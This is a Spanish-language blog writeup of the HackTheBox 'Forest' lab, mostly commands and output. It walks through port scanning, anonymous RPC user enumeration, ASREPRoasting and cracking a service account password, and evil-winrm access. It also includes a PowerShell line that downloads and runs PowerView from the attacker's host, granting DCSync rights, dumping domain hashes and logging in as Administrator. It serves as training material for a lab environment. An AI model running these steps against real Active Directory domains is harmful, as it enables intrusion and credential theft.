Posts Hackthebox Forest Writeup (OSCP Style)
Post
Cancel

Hackthebox Forest Writeup (OSCP Style)



Información de la máquina.

ContenidoDescripción
OS:enter image description here
Dificultad:Fácil
Puntos:20
Lanzamiento:12-Octubre-2019
IP:10.10.10.161
Primera sangre de usuario:cube0x0
Primera sangre de system:cube0x0
Creadores:egre55 & mrb3n

Reconocimiento.

Como siempre comenzaremos con un escaneo a los 65535 puertos de la máquina para poder encontrar cuales son los puertos abiertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
intrusionz3r0@kali:~$ nmap -p- --open -T5 -n -oG nmapScanAllPorts forest.htb --min-rate 2000
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-16 18:55 CDT
Warning: 10.10.10.161 giving up on port because retransmission cap hit (2).
Nmap scan report for forest.htb (10.10.10.161)
Host is up (0.16s latency).
Not shown: 64513 closed ports, 1008 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49671/tcp open  unknown
49676/tcp open  unknown
49677/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 39.02 seconds
ParámetroDescripción
-p-Escanea los 65535 puertos de la máquina.
–openMuestra solo los puertos abiertos.
-T5Velocidad del escaneo muy agresiva.
-nDesactivar la resolución de nombres DNS.
-oGExportar escaneo en formato grepeable.
–min-ratePaquetes por segundo.

Una vez terminado el escaneo lanzaremos scripts de enumeración básicos para detectar los servicios y versiones de los puertos abiertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
intrusionz3r0@kali:~$  nmap -sCV -p53,88,135,139,445,464,593,636,3269,5985,9389,47001,49664,49665,49666,49667,49671,49676,49677,49684,49703,49938 -oN targeted forest.htb
Nmap scan report for forest.htb (10.10.10.161)
Host is up (0.16s latency).

PORT      STATE SERVICE      VERSION
53/tcp    open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-09-15 23:41:42Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49671/tcp open  msrpc        Microsoft Windows RPC
49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc        Microsoft Windows RPC
49684/tcp open  msrpc        Microsoft Windows RPC
49703/tcp open  msrpc        Microsoft Windows RPC
49938/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=9/15%Time=5F614FAA%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h26m41s, deviation: 4h02m31s, median: 6m39s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2020-09-15T16:44:05-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-09-15T23:44:07
|_  start_date: 2020-09-15T07:09:01

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep 15 18:39:38 2020 -- 1 IP address (1 host up) scanned in 286.09 seconds

ParámetroDescripción
-sCVEs la combinación de -sC,-sV, lanza scripts de enumeración básicos y detecta las versiones de los servicios.
-pEspecifica los puertos a enumerar.
-oNExporta el escaneo en formato nmap.

Resumen de puertos.

Los puertos que mas destacan son:

  • Puerto 53 probablemente utilizado para servicios DNS.
  • Puerto 88 con servicio Kerberos.
  • Puerto 139 y 445 con servicios samba.
  • Puerto 5985 con servicio winrm.

Enumeración Samba.

Tanto smbclient como smbmap no nos retorna ningún recurso compartido accesible.

1
2
3
4
5
6
intrusionz3r0@kali:~$ smbclient -L //forest.htb/ -N   
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
SMB1 disabled -- no workgroup available
1
2
intrusionz3r0@kali:~$ smbmap -H forest.htb                    
[+] IP: 10.10.10.161:445        Name: forest.htb

Pero vemos que podemos acceder mediante sesiones nulas por lo que mi siguiente paso es probar suerte e intentar enumerar con la herramienta rpcclient.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
intrusionz3r0@kali:~$ rpcclient forest.htb -U "" -c "enumdomusers" -N
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

Esto me devolvió una gran cantidad de usuarios, ahora solo filtraré por los usuario que me interesan.

1
intrusionz3r0@kali:~$ cat u.txt | cut -d '[' -f2 | cut -d ']' -f1 | awk 'length < 15' > users.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
------------------------------
File: users.txt
------------------------------
Administrator
Guest
krbtgt
DefaultAccount
sebastien
lucinda
svc-alfresco
andy
mark
santi

Ataque ASREPRoast.

Para este punto era muy probable de que se tenia que llevar acabo un ataque de ASREPRoast.

El ataque ASREPRoast se basa en encontrar usuarios que no requieren pre-autenticación de Kerberos. Lo cual significa que cualquiera puede enviar una petición AS_REQ en nombre de uno de esos usuarios y recibir un mensaje AS_REP correcto. Esta respuesta contiene un pedazo del mensaje cifrado con la clave del usuario, que se obtiene de su contraseña. Por lo tanto, este mensaje se puede tratar de crackear offline para obtener las credenciales de dicho usuario.

Para realizar el ataque haré uso de la herramienta de crackmapexec.

1
2
3
intrusionz3r0@kali:~$ cme ldap forest.htb -u users.txt -p '' --asreproast AS_REP --kdcHost 10.10.10.161 
LDAP        10.10.10.161    389    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
LDAP        10.10.10.161    389    FOREST           $krb5asrep$23$svc-alfresco@HTB.LOCAL:31dc290a82f41e7a98c4b5a76d9c2a58$46e3a72060276171c1be5dcba3d966d20e963b0cd0f4fb909b5cecd0b15cde1ca695ec0d6bc942d4b18ed6dfcfc7d71f7df1e65d2d45fe88a688a385cd1a795419dacdafc5942b93e54b8e88f50a24f30e616156facaaec07592f192c3e2d2ca92163998bf5accc39508b08a3737c8192ec3a5d169a6933033466d458a9fe699e6e178d3a77b06f0d116b240a1cf74950eb4b241953f53cd0f98bfad4e2d2faaf2e31c888013c4707e8a8816af313ffe2bdd47c5c005c93a98c3c819c3f10157d1b2b20cb2cd259533dc5e95fa778ac3329ae58e427abdb973eb8b0c0fa008621d7e5d2fda8f

Ahora solo lo pasamos a john y obtenemos la contraseña de usuario svc-alfresco.

1
2
3
4
5
6
7
8
9
10
intrusionz3r0@kali:~$ john -w=/usr/share/wordlists/rockyou.txt AS_REP          
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
Remaining 1 password hash
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice          ($krb5asrep$23$svc-alfresco@HTB.LOCAL)
1g 0:00:00:20 DONE (2020-09-16 19:37) 0.04882g/s 199500p/s 199500c/s 199500C/s s3xirexi..s3r2s1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Credenciales: svc-alfresco:s3rvice

Shell como el usuario svc-alfresco.

Rápidamente utilizo la herramienta evil-winrm para entrar a la máquina.

1
2
3
4
5
6
7
8
9
intrusionz3r0@kali:~$ evil-winrm -i forest.htb -u svc-alfresco -p s3rvice

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami
htb\svc-alfresco
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>

Enumeración con bloodhound.

Comencé a enumerar la máquina manualmente pero no pude encontrar mucho así que opte por enumerar el controlador de dominio con la herramienta bloodhound para obtener una vista mas clara sobre cuales son las posibles rutas de explotación que podrían ayudarme a apoderarme del DC.

¿Que es Bloodhound?

Bloodhound es una aplicación de código abierto que se utiliza para analizar la seguridad de los dominios del directorio activo. La herramienta está inspirada en la teoría de grafos y los permisos de objetos del directorio activo. La herramienta realiza la ingestión de datos de los dominios de Active Directory y destaca el potencial de escalada de derechos en los dominios de Active Directory, descubriendo así rutas de ataque ocultas o complejas que pueden comprometer la seguridad de una red.

Fuente: https://latesthackingnews.com/2018/09/25/bloodhound-a-tool-for-exploring-active-directory-domain-security/

Para comenzar con la enumeración levanto el servidor de neo4j y abro la aplicación de bloodhound.

1
2
intrusionz3r0@kali:~$ sudo neo4j console
intrusionz3r0@kali:~$ bloodhound

Usaremos el binario SharpHound.exe para recolectar información.

Me levanto un servidor con samba que comparta el SharpHound.exe y lo ejecuto directamente desde mi servidor.

Esto nos generara un archivo con extensión zip que vamos a descargar en nuestra máquina local.

Para importarlo solo lo arrastramos el 20200916180416_BloodHound.zip al Bloodhound.

Una vez dentro filtramos por el usuario SVC-ALFRESCO damos clic derecho sobre el circulo y presionamos en Mark User as Owned.

Con esto le diremos a Bloodhound que tenemos en nuestro poder al usuario SVC-ALFRESCO.

Como podemos observar esta es la ruta mas corta para apoderarnos del DC.

Ataque DCsync.

DCsync: Este ataque nos permite pretender ser un controlador de dominio y solicitar datos de contraseña de cualquier usuario. esto puede ser utilizado por los atacantes para obtener el hash NTLM de cualquier cuenta, incluida la cuenta KRBTGT, que permite a los atacantes crear Boletos Dorados.

La estrategia es la siguiente:

  • Podemos observar que el usuario SVC-ALFRESCO es miembro de SERVICE ACCOUNTS, PRIVILAGED IT ACCOUNTS y ACCOUNTS OPERATORS.

  • Los miembros del grupo ACCOUNT OPERATORS tienen privilegios GenericAll sobre el grupo EXCHANGE WINDOWS PERMISSIONS. Esto significa que tenemos control total para manipular cualquier objeto de destino.

  • Los miembros del grupo EXCHANGE WINDOWS PERMISSIONS tienen permisos de escritura sobre DACL (Discretionary Access Control List) en el dominio HTB.LOCAL. Esto significa que podemos otorgarnos el privilegio de DcSync.

  • Con este privilegio nosotros seremos capaces de llevar acabo un ataque de DcSync.

Para llevar acabo el ataque necesitamos hacer uso de el script de PowerView.ps1 del repositorio de PowerSploit.

Nota: Si haces clic derecho sobre la linea de WriteDacl y presionas Abuse Info puedes ver los comandos que vamos a utilizar.

Primero descargamos y ejecutamos PowerView.ps1 .

1
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.24/PowerView.ps1')

Después nos agregaremos al grupo de Exchange Windows Permissions.

1
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" svc-alfresco /add /domain

Asignamos el permiso DCSync al usuario SVC-ALFRESCO.

1
2
3
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force 
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $Cred = New-Object System.Management.Automation.PSCredential('HTB\svc-alfresco', $SecPassword)
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'svc-alfresco' -TargetIdentity "HTB.LOCAL\Domain Admins" -Rights DCSync

Dumpeamos los hashes NTLM en nuestra máquina kali.

1
intrusionz3r0@kali:~$ sudo secretsdump.py svc-alfresco:s3rvice@10.10.10.161

y por último solo utilizamos la herramienta evil-winrm para iniciar sesión como administrador.

1
intrusionz3r0@kali:~$ evil-winrm -i forest.htb -u Administrator -p "aad3b435b51404eeaad3****************"

¡¡Somos Administradores!!

enter image description here

Espero te haya gustado, recuerda seguirme en mis redes sociales para estar al pendiente de todo mi contenido.

¡Muchas Gracias!

This post is licensed under CC BY 4.0 by the author.